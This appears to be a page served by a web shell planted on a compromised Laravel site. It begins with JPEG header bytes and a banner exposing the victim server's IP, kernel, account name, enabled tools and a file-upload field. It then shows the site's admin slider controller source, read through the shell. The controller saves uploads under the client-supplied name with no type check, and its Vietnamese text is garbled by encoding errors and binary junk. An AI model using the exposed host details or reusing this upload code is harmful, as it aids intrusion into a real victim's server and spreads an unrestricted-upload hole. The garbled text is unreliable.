ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/ |
Upload File : |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Slider;
use Input, File;
use Validator,Auth;
use DB;
class SliderController extends Controller
{
public function getList()
{
if($_GET['type']=='slider') $trang='slider';
else $trang ='hình ảnh';
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$data = Slider::select()->where('com' , $com)->get();
return view('admin.slider.list', compact('data','trang'));
}
public function getAdd()
{
if($_GET['type']=='slider') $trang='slider';
else $trang ='hình ảnh';
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$data = Slider::select()->where('com' , $com)->get();
return view('admin.slider.add', compact('data','trang'));
}
public function postAdd(Request $request)
{
$this->validate($request,
["txtName" => "required"],
["txtName.required" => "Bạn chưa nháºp tên slider"]
);
$com= $request->txtCom;
$img = $request->file('fImages');
$path_img='upload/hinhanh';
$img_name='';
if(!empty($img)){
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
}
$img2 = $request->file('fImages2');
$path_img2='upload/hinhanh';
$img_name2='';
if(!empty($img2)){
$img_name2=time().'_'.$img2->getClientOriginalName();
$img2->move($path_img2,$img_name2);
}
$news = new Slider;
$news->name = $request->txtName;
$news->name_eg = $request->txtName_eg;
if(@!empty($_REQUEST['display'])){
$news->display = $request->display;
}
$news->mota = $request->txtDesc;
$news->mota_eg = $request->txtDesc_eg;
$news->link = $request->txtLink;
$news->content = $request->txtContent;
$news->photo = $img_name;
$news->icon = $img_name2;
$news->com = $com;
$news->stt = intval($request->stt);
if($request->status=='on'){
$news->status = 1;
}else{
$news->status = 0;
}
$news->user_id = Auth::user()->id;
$slider = DB::table('slider')->select()->where('status',1)->orderBy('id','desc')->first();
if($com == 'hinh-anh'){
if(count($slider)<1){
$news->save();
return redirect('admin/slider?type='.$com)->with('status','Thêm mới thà nh công !');
}else{
return redirect('admin/slider?type='.$com)->with('status','Hình ná»n đã có bạn không thể thêm được nữa !');
}
}else{
$news->save();
return redirect('admin/slider?type='.$com)->with('status','Thêm mới thà nh công !');
}
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return Response
*/
public function getEdit(Request $request)
{
if($_GET['type']=='slider') $trang='slider';
else $trang ='hình ảnh';
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$id= $request->get('id');
//Tìm article thông qua mã id tương ứng
$data = Slider::find($id);
if(!empty($data)){
if($request->get('hienthi')>0){
if($data->status == 1){
$data->status = 0;
}else{
$data->status = 1;
}
$data->update();
return redirect('admin/slider?type='.$com)->with('status','Cáºp nháºt thà nh công !');
}
if($request->get('noibat')>0){
if($data->noibat == 1){
$data->noibat = 0;
}else{
$data->noibat = 1;
}
$data->update();
return redirect('admin/slider?type='.$com)->with('status','Cáºp nháºt thà nh công !');
}
$news = Slider::select('stt')->orderBy('id','asc')->get()->toArray();
// Gá»i view edit.blade.php hiển thị bải viết
return view('admin.slider.edit',compact('data','news','id','trang'));
}else{
return redirect('admin/slider?type='.$com)->with('status','Dữ liệu không có thực !');
}
}
/**
* Update the specified resource in storage.
*
* @param int $id
* @return Response
*/
public function update(Request $request)
{
$this->validate($request,
["txtName" => "required"],
["txtName.required" => "Bạn chưa nháºp tên danh mục"]
);
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$id= $request->get('id');
$news = Slider::findOrFail($id);
//$news = Slider::select()->where('id' , $id)->where('com' , $com)->get();
if(!empty($news)){
$img = $request->file('fImages');
$img_current = 'upload/hinhanh/'.$request->img_current;
if(!empty($img)){
$path_img='upload/hinhanh';
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
$news->photo = $img_name;
if (File::exists($img_current)) {
File::delete($img_current);
}
}
$img2 = $request->file('fImages2');
$img_current2 = 'upload/hinhanh/'.$request->img_current2;
if(!empty($img2)){
$path_img2='upload/hinhanh';
$img_name2=time().'_'.$img2->getClientOriginalName();
$img2->move($path_img2,$img_name2);
$news->icon = $img_name2;
if (File::exists($img_current2)) {
File::delete($img_current2);
}
}
$news->name = $request->txtName;
$news->name_eg = $request->txtName_eg;
if(@!empty($_REQUEST['display'])){
$news->display = $request->display;
}
$news->mota_eg = $request->txtDesc_eg;
$news->link = $request->txtLink;
$news->mota = $request->txtDesc;
$news->content = $request->txtContent;
$news->com = $request->txtCom;
$news->stt = intval($request->stt);
if($request->status=='on'){
$news->status = 1;
}else{
$news->status = 0;
}
$news->user_id = Auth::user()->id;
$news->save();
return redirect('admin/slider/edit?id='.$id.'&type='.$com)->with('status','Cáºp nháºt thà nh công');
}else{
return redirect()->back()->with('status','Dữ liệu không có thực');
}
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return Response
*/
public function getDelete($id)
{
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$news = Slider::findOrFail($id);
$news->delete();
File::delete('upload/hinhanh/'.$news->photo);
return redirect('admin/slider?type='.$com)->with('status','Xóa thà nh công');
}
public function getDeleteList($id){
if($_GET['type']=='slider') $trang='slider';
else if($_GET['type']=='doi-tac') $trang='đối tác';
else if($_GET['type']=='cam-nhan') $trang='cảm nháºn khách hà ng';
else if($_GET['type']=='chuyen-muc') $trang='banner chuyên mục';
else $trang ='hình ảnh';
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$listid = explode(",",$id);
foreach($listid as $listid_item){
$news = Slider::findOrFail($listid_item);
$news->delete();
File::delete('upload/hinhanh/'.$news->photo);
}
return redirect('admin/slider?type='.$com)->with('status','Xóa thà nh công');
}
}